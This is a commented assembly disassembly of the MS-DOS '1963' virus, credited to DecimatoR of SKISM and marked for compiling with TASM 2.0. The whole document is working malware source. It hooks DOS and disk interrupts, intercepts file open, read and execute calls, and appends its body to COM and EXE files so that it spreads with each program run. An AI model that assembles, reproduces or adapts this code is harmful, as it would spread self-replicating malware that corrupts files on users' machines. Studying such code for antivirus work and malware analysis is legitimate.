PAGE  59,132
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                           1963 VIRUS                                 ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                         disassembly by                               ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                       DecimatoR / SKISM                              ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ  01/15/92           Compile with TASM 2.0           DW 717-367-3501  ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
data_1e         equ     4                       ; (0000:0004=7FBh)
data_2e         equ     6                       ; (0000:0006=70h)
data_3e         equ     4Ch                     ; (0000:004C=88h)
data_4e         equ     84h                     ; (0000:0084=16h)
data_6e         equ     0Ah                     ; (0046:000A=0)
data_7e         equ     16h                     ; (0046:0016=0)
data_8e         equ     2Ch                     ; (0046:002C=50h)
data_9e         equ     8ABh                    ; (0046:08AB=4146h)
data_10e        equ     8ADh                    ; (0046:08AD=3154h)
data_11e        equ     0Ah                     ; (08D4:000A=2F9h)
data_12e        equ     0Ch                     ; (08D4:000C=3872h)
data_13e        equ     100h                    ; (08D4:0100=0DFh)
data_14e        equ     1                       ; (4815:0001=0FFFFh)
data_15e        equ     100h                    ; (4816:0100=0FFh)
data_16e        equ     1                       ; (8343:0001=0FFFFh)
data_17e        equ     0Ah                     ; (8344:000A=0)
data_18e        equ     0Eh                     ; (8344:000E=8344h)
data_49e        equ     900h                    ; (8344:0900=0)
data_50e        equ     902h                    ; (8344:0902=0)
data_51e        equ     904h                    ; (8344:0904=8344h)
data_52e        equ     906h                    ; (8344:0906=0)
data_53e        equ     9EFh                    ; (8344:09EF=0)
data_54e        equ     10AFh                   ; (8344:10AF=0)
data_55e        equ     10B1h                   ; (8344:10B1=0)
data_56e        equ     10B3h                   ; (8344:10B3=0)
  
seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a
  
  
                org     100h
  
virus           proc    far
  
start:
                mov     ah,30h                  ; '0'
                int     21h                     ; DOS Services  ah=function 30h
                                                ;  get DOS version number ax
                cmp     al,3
                jb      loc_1                   ; Jump if below
                mov     ax,1200h
                int     2Fh                     ; Multiplex/Spooler al=func 00h
                                                ;  get installed status
                cmp     al,0FFh
loc_1:
                mov     ax,0Bh
                jc      loc_4                   ; Jump if carry Set
                mov     ah,4Ah                  ; 'J'
                mov     bx,140h
                int     21h                     ; DOS Services  ah=function 4Ah
                                                ;  change mem allocation, bx=siz
                jc      loc_4                   ; Jump if carry Set
                cli                             ; Disable interrupts
                push    cs
                pop     ss
                mov     sp,13FEh
                call    sub_1                   ; (01EB)
                sti                             ; Enable interrupts
                mov     ax,ds:data_8e           ; (0046:002C=50h)
                or      ax,ax                   ; Zero ?
                jz      loc_5                   ; Jump if zero
                call    sub_13                  ; (07EC)
                mov     es,ax
                xor     di,di                   ; Zero register
                xor     ax,ax                   ; Zero register
loc_2:
                scasw                           ; Scan es:[di] for ax
                jnz     loc_2                   ; Jump if not zero
                scasw                           ; Scan es:[di] for ax
                mov     dx,di
                push    es
                pop     ds
                mov     ah,48h                  ; 'H'
                mov     bx,0FFFFh
                int     21h                     ; DOS Services  ah=function 48h
                                                ;  allocate memory, bx=bytes/16
                mov     ah,48h                  ; 'H'
                int     21h                     ; DOS Services  ah=function 48h
                                                ;  allocate memory, bx=bytes/16
                mov     es,ax
                mov     ah,49h                  ; 'I'
                int     21h                     ; DOS Services  ah=function 49h
                                                ;  release memory block, es=seg
                xor     ax,ax                   ; Zero register
                mov     cx,bx
                mov     bx,es
  
locloop_3:
                push    cx
                mov     cx,8
                xor     di,di                   ; Zero register
                rep     stosw                   ; Rep when cx >0 Store ax to es:[di]
                inc     bx
                mov     es,bx
                pop     cx
                loop    locloop_3               ; Loop if cx > 0
  
                push    cs
                pop     es
                mov     bx,data_51e             ; (8344:0904=44h)
                mov     di,bx
                stosw                           ; Store ax to es:[di]
                mov     al,80h
                stosw                           ; Store ax to es:[di]
                mov     ax,cs
                stosw                           ; Store ax to es:[di]
                mov     ax,5Ch
                stosw                           ; Store ax to es:[di]
                mov     ax,cs
                stosw                           ; Store ax to es:[di]
                mov     ax,6Ch
                stosw                           ; Store ax to es:[di]
                mov     ax,cs
                stosw                           ; Store ax to es:[di]
                mov     ax,4B00h
                int     21h                     ; DOS Services  ah=function 4Bh
                                                ;  run progm @ds:dx, parm @es:bx
loc_4:
                push    cs
                pop     ds
                call    sub_13                  ; (07EC)
                jmp     dword ptr cs:data_17e   ; (8344:000A=0)
loc_5:
                mov     ax,1220h
                mov     bx,5
                int     2Fh                     ; ??INT Non-standard interrupt.
                push    bx
                dec     bx
                dec     bx
                mov     es:[di],bl
                mov     ax,1216h
                int     2Fh                     ; ??INT Non-standard interrupt.
                dec     bx
                dec     bx
                mov     es:[di],bx
                mov     ah,48h                  ; 'H'
                mov     bx,0FFFFh
                int     21h                     ; DOS Services  ah=function 48h
                                                ;  allocate memory, bx=bytes/16
                mov     ah,48h                  ; 'H'
                int     21h                     ; DOS Services  ah=function 48h
                                                ;  allocate memory, bx=bytes/16
                mov     ds,ax
                pop     bx
                mov     ax,4200h
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                mov     ah,3Fh                  ; '?'
                mov     dx,data_15e             ; (4816:0100=0FFh)
                mov     cx,es:[di+11h]
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
                jc      loc_4                   ; Jump if carry Set
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                mov     ah,26h                  ; '&'
                mov     dx,ds
                int     21h                     ; DOS Services  ah=function 26h
                                                ;  create progm seg prefix dx
                dec     dx
                mov     es,dx
                mov     es:data_14e,ds          ; (4815:0001=0FFFFh)
                inc     dx
                mov     es,dx
                mov     ss,dx
                mov     sp,0FFFEh
                push    ds
                mov     ax,100h
                push    ax
                retf                            ; Return far
  
virus           endp
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_1           proc    near
                push    ds
                mov     ax,1203h
                int     2Fh                     ; Multiplex/Spooler al=func 03h
                                                ;  remove all files from queue
                mov     cs:data_51e,ds          ; (8344:0904=8344h)
                xor     si,si                   ; Zero register
                mov     ds,si
                mov     di,288h
                mov     si,cs
                xchg    di,ds:data_1e           ; (0000:0004=7FBh)
                xchg    si,ds:data_2e           ; (0000:0006=70h)
                pushf                           ; Push flags
                pushf                           ; Push flags
                pushf                           ; Push flags
                mov     bp,sp
                or      byte ptr [bp+1],1
                popf                            ; Pop flags
                pushf                           ; Push flags
                pushf                           ; Push flags
                mov     word ptr cs:data_52e,8AFh       ; (8344:0906=0)
                mov     ah,1
                call    dword ptr ds:data_3e    ; (0000:004C=2288h)
                popf                            ; Pop flags
                mov     word ptr cs:data_52e,8ABh       ; (8344:0906=0)
                mov     ah,0Bh
                call    dword ptr ds:data_4e    ; (0000:0084=1716h)
                popf                            ; Pop flags
                mov     ds:data_1e,di           ; (0000:0004=7FBh)
                mov     ds:data_2e,si           ; (0000:0006=70h)
                pop     ds
                push    ds
                push    es
                mov     bx,cs
                mov     bp,2AEh
                mov     ax,ds:data_9e           ; (0046:08AB=4146h)
                mov     dx,ds:data_10e          ; (0046:08AD=3154h)
                xor     si,si                   ; Zero register
                mov     ds,si
                cmp     ax,ds:data_4e           ; (0000:0084=1716h)
                jne     loc_6                   ; Jump if not equal
                cmp     dx,word ptr ds:data_4e+2        ; (0000:0086=2C7h)
                jne     loc_6                   ; Jump if not equal
                mov     ds:data_4e,bp           ; (0000:0084=1716h)
                mov     word ptr ds:data_4e+2,bx        ; (0000:0086=2C7h)
                jmp     short loc_10            ; (0285)
loc_6:
                mov     ax,8ABh
                mov     es,bx
                mov     cx,10h
                cld                             ; Clear direction
  
locloop_7:
                mov     di,ax
                mov     ds,dx
                cmpsw                           ; Cmp [si] to es:[di]
                jnz     loc_9                   ; Jump if not zero
                cmpsw                           ; Cmp [si] to es:[di]
                jnz     loc_8                   ; Jump if not zero
                mov     [si-4],bp
                mov     [si-2],bx
loc_8:
                dec     si
                dec     si
loc_9:
                dec     si
                loop    locloop_7               ; Loop if cx > 0
  
                xchg    si,cx
                inc     dx
                cmp     dx,bx
                jne     locloop_7               ; Jump if not equal
loc_10:
                pop     es
                pop     ds
                retn
sub_1           endp
  
                push    bp
                mov     bp,sp
                push    ax
                mov     ax,[bp+4]
                cmp     ax,cs:data_51e          ; (8344:0904=8344h)
                ja      loc_11                  ; Jump if above
                push    bx
                mov     bx,cs:data_52e          ; (8344:0906=0)
                mov     cs:[bx+2],ax
                mov     ax,[bp+2]
                mov     cs:[bx],ax
                and     byte ptr [bp+7],0FEh
                pop     bx
loc_11:
                pop     ax
                pop     bp
                iret                            ; Interrupt return
                db       55h, 8Bh,0ECh, 80h,0FCh, 48h
                db       74h, 0Ah, 80h,0FCh, 4Ah, 74h
                db       05h, 3Dh, 03h, 4Bh, 75h, 0Ch
                db      0E8h, 89h, 05h,0E8h,0AFh, 05h
                db       9Ch,0E8h, 87h, 05h,0EBh, 55h
                db       80h,0FCh, 31h, 74h, 05h, 80h
                db      0FCh
                db       4Ch, 75h, 0Dh
loc_12:
                push    bx
                mov     bx,13h
loc_13:
                call    sub_5                   ; (0532)
                dec     bx
                jns     loc_13                  ; Jump if not sign
                pop     bx
                jmp     short loc_23            ; (0342)
loc_14:
                cmp     ah,0Fh
                je      loc_15                  ; Jump if equal
                cmp     ah,10h
                je      loc_15                  ; Jump if equal
                cmp     ah,17h
                je      loc_15                  ; Jump if equal
                cmp     ah,23h                  ; '#'
                jne     loc_16                  ; Jump if not equal
loc_15:
                call    sub_15                  ; (081F)
                jmp     short loc_23            ; (0342)
loc_16:
                cmp     ah,3Fh                  ; '?'
                jne     loc_20                  ; Jump if not equal
                call    sub_5                   ; (0532)
                jnc     loc_18                  ; Jump if carry=0
                mov     ax,5
loc_17:
                jmp     loc_37                  ; (0403)
loc_18:
                jnz     loc_23                  ; Jump if not zero
                call    sub_22                  ; (0875)
                jc      loc_17                  ; Jump if carry Set
                pushf                           ; Push flags
                call    sub_24                  ; (0884)
                push    ds
                pop     es
                mov     di,dx
                call    sub_11                  ; (0785)
                call    sub_25                  ; (0896)
loc_19:
                popf                            ; Pop flags
                pop     bp
                retf    2                       ; Return far
loc_20:
                cmp     ah,3Dh                  ; '='
                je      loc_21                  ; Jump if equal
                cmp     ah,43h                  ; 'C'
                je      loc_21                  ; Jump if equal
                cmp     ah,56h                  ; 'V'
                jne     loc_22                  ; Jump if not equal
loc_21:
                call    sub_3                   ; (0519)
                jmp     short loc_23            ; (0342)
loc_22:
                cmp     ah,3Eh                  ; '>'
                jne     loc_24                  ; Jump if not equal
                call    sub_5                   ; (0532)
loc_23:
                push    word ptr [bp+6]
                popf                            ; Pop flags
                pop     bp
                cli                             ; Disable interrupts
                jmp     dword ptr cs:data_20    ; (8344:08AB=0)
loc_24:
                cmp     ah,14h
                je      loc_25                  ; Jump if equal
                cmp     ah,21h                  ; '!'
                je      loc_25                  ; Jump if equal
                cmp     ah,27h                  ; '''
                je      loc_25                  ; Jump if equal
                jmp     loc_35                  ; (03DE)
loc_25:
                call    sub_15                  ; (081F)
                jnc     loc_27                  ; Jump if carry=0
loc_26:
                pop     bp
                mov     al,1
                iret                            ; Interrupt return
loc_27:
                jnz     loc_23                  ; Jump if not zero
                call    sub_24                  ; (0884)
                call    sub_14                  ; (0814)
                cmp     ah,14h
                jne     loc_28                  ; Jump if not equal
                mov     ax,[si+0Ch]
                mov     dx,80h
                mul     dx                      ; dx:ax = reg * ax
                xor     bx,bx                   ; Zero register
                add     al,[si+20h]
                adc     ah,bl
                adc     bx,dx
                xchg    ax,bx
                jmp     short loc_29            ; (038F)
loc_28:
                mov     ax,[si+23h]
                mov     bx,[si+21h]
loc_29:
                mov     cx,[si+0Eh]
                mul     cx                      ; dx:ax = reg * ax
                jnc     loc_31                  ; Jump if carry=0
loc_30:
                call    sub_25                  ; (0896)
                jmp     short loc_26            ; (0364)
loc_31:
                xchg    ax,bx
                mul     cx                      ; dx:ax = reg * ax
                add     dx,bx
                jc      loc_30                  ; Jump if carry Set
                mov     cs:data_37,ax           ; (8344:08D0=0)
                mov     cs:data_38,dx           ; (8344:08D2=0)
                mov     cs:data_39,cx           ; (8344:08D4=0)
                call    sub_25                  ; (0896)
                call    sub_22                  ; (0875)
                or      al,al                   ; Zero ?
                jz      loc_32                  ; Jump if zero
                cmp     al,3
                jne     loc_34                  ; Jump if not equal
loc_32:
                call    sub_24                  ; (0884)
                cmp     ah,27h                  ; '''
                mov     ax,cs:data_39           ; (8344:08D4=0)
                jnz     loc_33                  ; Jump if not zero
                mul     cx                      ; dx:ax = reg * ax
                jc      loc_30                  ; Jump if carry Set
loc_33:
                push    ax
                mov     ah,2Fh                  ; '/'
                int     21h                     ; DOS Services  ah=function 2Fh
                                                ;  get DTA ptr into es:bx
                mov     di,bx
                pop     ax
                call    sub_11                  ; (0785)
                call    sub_25                  ; (0896)
loc_34:
                pop     bp
                iret                            ; Interrupt return
loc_35:
                cmp     ax,4B00h
                je      loc_38                  ; Jump if equal
                cmp     ax,4B01h
                je      loc_36                  ; Jump if equal
                jmp     loc_23                  ; (0342)
loc_36:
                call    sub_2                   ; (042F)
                jc      loc_37                  ; Jump if carry Set
                push    si
                push    di
                push    ds
                push    cs
                pop     ds
                mov     si,offset data_41       ; (8344:08E2=0)
                lea     di,[bx+0Eh]             ; Load effective addr
                cld                             ; Clear direction
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                pop     ds
                pop     di
                pop     si
loc_37:
                pushf                           ; Push flags
                shr     byte ptr [bp+6],1       ; Shift w/zeros fill
                popf                            ; Pop flags
                rcl     byte ptr [bp+6],1       ; Rotate thru carry
                pop     bp
                iret                            ; Interrupt return
loc_38:
                call    sub_2                   ; (042F)
                jc      loc_37                  ; Jump if carry Set
                push    ax
                mov     ah,51h                  ; 'Q'
                int     21h                     ; DOS Services  ah=function 51h
                                                ;  get active PSP segment in bx
                mov     ds,bx
                mov     es,bx
                pop     ax
                cli                             ; Disable interrupts
                mov     sp,cs:data_41           ; (8344:08E2=0)
                mov     ss,cs:data_42           ; (8344:08E4=0)
                inc     sp
                inc     sp
                sti                             ; Enable interrupts
                jmp     dword ptr cs:data_43    ; (8344:08E6=0)
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_2           proc    near
                call    sub_24                  ; (0884)
                stc                             ; Set carry flag
                call    sub_4                   ; (051A)
loc_39:
                mov     ax,0Bh
                jc      loc_40                  ; Jump if carry Set
                cld                             ; Clear direction
                pushf                           ; Push flags
                push    ds
                mov     ax,3522h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     cs:data_24,bx           ; (8344:08B7=0)
                mov     word ptr cs:data_24+2,es        ; (8344:08B9=8344h)
                lds     si,dword ptr [bp+0Ah]   ; Load 32 bit ptr
                push    cs
                pop     es
                mov     di,offset data_39       ; (8344:08D4=0)
                mov     bx,di
                mov     cx,7
                rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     ds
                call    sub_16                  ; (084C)
                push    dx
                mov     ax,4B01h
                call    sub_23                  ; (0879)
                pop     dx
                call    sub_17                  ; (0851)
                jnc     loc_42                  ; Jump if carry=0
loc_40:
                mov     [bp+8],ax
loc_41:
                call    sub_25                  ; (0896)
                retn
loc_42:
                mov     [bp+8],ax
                mov     ah,51h                  ; 'Q'
                int     21h                     ; DOS Services  ah=function 51h
                                                ;  get active PSP segment in bx
                mov     es,bx
                mov     si,[bp]
                lds     dx,dword ptr ss:[si+2]  ; Load 32 bit ptr
                mov     es:data_11e,dx          ; (08D4:000A=2F9h)
                mov     es:data_12e,ds          ; (08D4:000C=3872h)
                mov     ax,2522h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                popf                            ; Pop flags
                jnz     loc_41                  ; Jump if not zero
                push    cs
                pop     ds
                mov     si,data_51e             ; (8344:0904=44h)
                mov     di,data_13e             ; (08D4:0100=0DFh)
                mov     cx,7ABh
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                call    sub_7                   ; (0758)
                jz      loc_44                  ; Jump if zero
loc_43:
                clc                             ; Clear carry flag
                jmp     short loc_41            ; (0470)
loc_44:
                mov     di,bx
                add     di,10h
                mov     ax,ds:data_55e          ; (8344:10B1=0)
                mov     word ptr data_43,ax     ; (8344:08E6=0)
                mov     ax,ds:data_56e          ; (8344:10B3=0)
                add     ax,di
                mov     word ptr data_43+2,ax   ; (8344:08E8=0)
                mov     cx,ds:data_54e          ; (8344:10AF=0)
                or      cx,cx                   ; Zero ?
                jz      loc_43                  ; Jump if zero
                lds     dx,dword ptr [bp+0Eh]   ; Load 32 bit ptr
                call    sub_18                  ; (0862)
                jc      loc_47                  ; Jump if carry Set
                mov     bx,ax
                push    cx
                push    cs
                pop     ds
                xor     cx,cx                   ; Zero register
                mov     dx,ds:data_50e          ; (8344:0902=0)
                call    sub_20                  ; (086B)
                mov     dx,904h
                pop     cx
  
locloop_45:
                push    cx
                mov     cx,4
                call    sub_8                   ; (0764)
                pop     cx
                jc      loc_46                  ; Jump if carry Set
                mov     si,dx
                push    ds
                mov     ax,[si+2]
                mov     si,[si]
                add     ax,di
                mov     ds,ax
                add     [si],di
                pop     ds
                loop    locloop_45              ; Loop if cx > 0
  
                call    sub_19                  ; (0867)
                jmp     short loc_43            ; (04A8)
loc_46:
                call    sub_19                  ; (0867)
loc_47:
                push    es
                pop     ds
                les     bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr
                mov     ds:data_17e,bx          ; (8344:000A=0)
                mov     ds:data_18e,es          ; (8344:000E=8344h)
                call    sub_13                  ; (07EC)
                stc                             ; Set carry flag
                jmp     loc_39                  ; (0436)
sub_2           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_3           proc    near
                clc                             ; Clear carry flag
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_4:
                push    ax
                push    bx
                pushf                           ; Push flags
                call    sub_18                  ; (0862)
                jc      loc_48                  ; Jump if carry Set
                mov     bx,ax
                popf                            ; Pop flags
                pushf                           ; Push flags
                call    sub_6                   ; (0533)
                pushf                           ; Push flags
                call    sub_19                  ; (0867)
                popf                            ; Pop flags
loc_48:
                pop     bx
                pop     bx
                pop     ax
                retn
sub_3           endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_5           proc    near
                clc                             ; Clear carry flag
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_6:
                cld                             ; Clear direction
                call    sub_24                  ; (0884)
                pushf                           ; Push flags
                push    bx
                mov     ax,1220h
                int     2Fh                     ; ??INT Non-standard interrupt.
                jc      loc_49                  ; Jump if carry Set
                xor     bh,bh                   ; Zero register
                mov     bl,es:[di]
                mov     ax,1216h
                int     2Fh                     ; ??INT Non-standard interrupt.
                jnc     loc_50                  ; Jump if carry=0
loc_49:
                call    sub_25                  ; (0896)
                retn
loc_50:
                push    es
                push    cs
                pop     ds
                mov     ax,3523h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     data_26,bx              ; (8344:08BB=0)
                mov     word ptr data_26+2,es   ; (8344:08BD=8344h)
                inc     ax
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     data_28,bx              ; (8344:08BF=0)
                mov     word ptr data_28+2,es   ; (8344:08C1=8344h)
                mov     ah,25h                  ; '%'
                mov     dx,offset int_24h_entry
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                dec     ax
                inc     dx
                inc     dx
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                pop     es
                pop     bx
                mov     al,2
                xchg    al,es:[di+2]
                mov     data_33,al              ; (8344:08C9=0)
                mov     ax,es:[di+5]
                mov     data_34,ax              ; (8344:08CA=0)
                mov     ax,es:[di+15h]
                mov     data_37,ax              ; (8344:08D0=0)
                mov     ax,es:[di+17h]
                mov     data_38,ax              ; (8344:08D2=0)
                mov     ax,es:[di+11h]
                mov     dx,es:[di+13h]
                mov     data_35,ax              ; (8344:08CC=0)
                mov     data_36,dx              ; (8344:08CE=0)
                cmp     ax,1Ah
                sbb     dx,0
                jc      loc_55                  ; Jump if carry Set
                popf                            ; Pop flags
                jc      loc_52                  ; Jump if carry Set
                mov     ax,es:[di+28h]
                cmp     ax,5845h
                je      loc_51                  ; Jump if equal
                cmp     ax,4F43h
                jne     loc_55                  ; Jump if not equal
                mov     al,4Dh                  ; 'M'
loc_51:
                cmp     al,es:[di+2Ah]
                jne     loc_55                  ; Jump if not equal
loc_52:
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                call    sub_20                  ; (086B)
                mov     dx,8EAh
                mov     cl,1Ah
                call    sub_8                   ; (0764)
                jc      loc_57                  ; Jump if carry Set
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                call    sub_7                   ; (0758)
                jnz     loc_53                  ; Jump if not zero
                mov     ax,data_47              ; (8344:08F2=0)
                mov     dl,10h
                mul     dx                      ; dx:ax = reg * ax
                mov     cx,dx
                mov     dx,ax
loc_53:
                push    cx
                push    dx
                add     dx,7ABh
                adc     cx,0
                cmp     cx,data_36              ; (8344:08CE=0)
                jne     loc_54                  ; Jump if not equal
                cmp     dx,data_35              ; (8344:08CC=0)
loc_54:
                pop     dx
                pop     cx
                jbe     loc_56                  ; Jump if below or =
loc_55:
                jmp     short loc_62            ; (065D)
loc_56:
                push    cx
                push    dx
                call    sub_20                  ; (086B)
                mov     dx,904h
                mov     cx,7ABh
                call    sub_8                   ; (0764)
                jnc     loc_58                  ; Jump if carry=0
loc_57:
                jmp     short loc_60            ; (0656)
loc_58:
                push    es
                push    di
                push    cs
                pop     es
                mov     si,data_53e             ; (8344:09EF=0)
                mov     di,offset ds:[1EBh]     ; (8344:01EB=1Eh)
                mov     cx,0C3h
                repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
                pop     di
                pop     es
                jnz     loc_65                  ; Jump if not zero
                mov     dx,cx
                call    sub_21                  ; (0870)
                mov     cx,7ADh
                mov     dx,904h
                call    sub_7                   ; (0758)
                jnz     loc_59                  ; Jump if not zero
                add     cx,6
loc_59:
                add     es:[di+11h],cx
                adc     word ptr es:[di+13h],0
                call    sub_8                   ; (0764)
                jc      loc_60                  ; Jump if carry Set
                mov     si,dx
                dec     cx
                dec     cx
                call    sub_10                  ; (0778)
                cmp     dx,[si]
                je      loc_61                  ; Jump if equal
loc_60:
                stc                             ; Set carry flag
                jmp     short loc_63            ; (0661)
loc_61:
                cmp     al,al
                jmp     short loc_63            ; (0661)
loc_62:
                mov     al,1
                cmp     al,0
loc_63:
                pushf                           ; Push flags
loc_64:
                mov     si,offset data_33       ; (8344:08C9=0)
                cld                             ; Clear direction
                inc     di
                inc     di
                movsb                           ; Mov [si] to es:[di]
                inc     di
                inc     di
                movsw                           ; Mov [si] to es:[di]
                add     di,0Ah
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                mov     ax,2524h
                lds     dx,dword ptr data_28    ; (8344:08BF=0) Load 32 bit ptr
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                dec     ax
                lds     dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                popf                            ; Pop flags
                call    sub_25                  ; (0896)
                retn
loc_65:
                test    byte ptr es:[di+4],4
                jnz     loc_62                  ; Jump if not zero
                mov     ah,0Dh
                int     21h                     ; DOS Services  ah=function 0Dh
                                                ;  flush disk buffers to disk
                push    bx
                push    ds
                push    es
                mov     ax,3540h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     data_30,bx              ; (8344:08C3=0)
                mov     word ptr data_30+2,es   ; (8344:08C5=8344h)
                mov     al,13h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     data_22,bx              ; (8344:08B3=0)
                mov     word ptr data_22+2,es   ; (8344:08B5=8344h)
                mov     ah,25h                  ; '%'
                lds     dx,data_21              ; (8344:08AF=0) Load 32 bit ptr
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                mov     al,40h                  ; '@'
;*              mov     dx,offset loc_85        ;*
                db      0BAh, 59h,0ECh
                mov     bx,0F000h
                mov     ds,bx
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                pop     es
                pop     ds
                pop     bx
                xor     cx,cx                   ; Zero register
                xor     dx,dx                   ; Zero register
                call    sub_21                  ; (0870)
                mov     cx,7ABh
                mov     si,904h
                call    sub_7                   ; (0758)
                jnz     loc_66                  ; Jump if not zero
                add     cx,6
                mov     ax,data_46              ; (8344:08F0=0)
                mov     ds:data_54e,ax          ; (8344:10AF=0)
                mov     ax,data_48              ; (8344:08FE=0)
                mov     ds:data_55e,ax          ; (8344:10B1=0)
                mov     ax,ds:data_49e          ; (8344:0900=0)
                mov     ds:data_56e,ax          ; (8344:10B3=0)
loc_66:
                push    si
                call    sub_10                  ; (0778)
                mov     [si],dx
                pop     dx
                inc     cx
                inc     cx
                call    sub_9                   ; (076E)
                jc      loc_68                  ; Jump if carry Set
                pop     dx
                pop     cx
                call    sub_20                  ; (086B)
                mov     dx,100h
                mov     cx,7ABh
                call    sub_9                   ; (076E)
                jc      loc_69                  ; Jump if carry Set
                call    sub_7                   ; (0758)
                jnz     loc_67                  ; Jump if not zero
                xor     cx,cx                   ; Zero register
                mov     data_46,cx              ; (8344:08F0=0)
                mov     data_48,dx              ; (8344:08FE=0)
                mov     word ptr ds:data_49e,0FFF0h     ; (8344:0900=0)
                xor     dx,dx                   ; Zero register
                call    sub_20                  ; (086B)
                mov     dx,8EAh
                mov     cx,1Ah
                call    sub_9                   ; (076E)
                jc      loc_69                  ; Jump if carry Set
loc_67:
                cmp     al,al
                jmp     short loc_70            ; (073C)
loc_68:
                mov     al,1
                cmp     al,0
                jmp     short loc_70            ; (073C)
loc_69:
                stc                             ; Set carry flag
loc_70:
                pushf                           ; Push flags
                mov     ah,0Dh
                int     21h                     ; DOS Services  ah=function 0Dh
                                                ;  flush disk buffers to disk
                push    ds
                mov     ax,2513h
                lds     dx,dword ptr data_22    ; (8344:08B3=0) Load 32 bit ptr
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                mov     al,40h                  ; '@'
                lds     dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                pop     ds
                jmp     loc_64                  ; (0662)
sub_5           endp
  
  
